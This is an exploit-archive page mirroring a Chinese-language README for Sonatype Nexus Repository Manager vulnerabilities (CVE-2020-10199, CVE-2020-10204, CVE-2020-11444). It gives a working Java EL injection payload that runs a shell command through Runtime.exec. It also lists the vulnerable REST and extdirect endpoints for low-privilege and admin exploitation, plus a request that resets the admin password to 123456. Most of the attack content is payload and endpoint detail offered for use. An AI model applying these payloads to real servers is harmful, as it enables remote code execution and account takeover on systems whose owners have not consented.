Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2020-10199 PoC — Sonatype Nexus Repository Manager 安全漏洞

Source
Associated Vulnerability
Title: Sonatype Nexus Repository Manager 安全漏洞 (CVE-2020-10199)
Description:Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).
Description
CVE-2020-10199、CVE-2020-10204、CVE-2020-11444
Readme
# Nexus Repository Manager 3 Vuln (影响版本:<= 3.21.2)

## CVE-2020-10199、CVE-2020-10204、CVE-2020-11444

## CVE-2020-10199 远程代码命令执行

## 回显poc

![](./CVE-2020-10199.gif)

## 不回显poc

`$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}`

## 普通用户权限
```
/service/rest/beta/repositories/go/group
```

## 需要管理员权限

1. 创建CleanupPolicy

`/service/extdirect`

2. 创建repositories

`/service/rest/beta/repositories/apt/hosted`

# CVE-2020-10204 远程代码命令执行

1. 利用更新用户接口
`/service/extdirect`
2. 利用创建角色接口
`/service/extdirect`

# CVE-2020-11444 越权漏洞

## 调用更新role接口

```
/service/rest/beta/security/users/admin/change-password

POST:
123456
```


# 参考链接

https://www.cnblogs.com/magic-zero/p/12641068.html

https://github.com/threedr3am/learnjavabug/tree/93d57c428333f98b5927d02630737e639dcb226b/nexus

File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →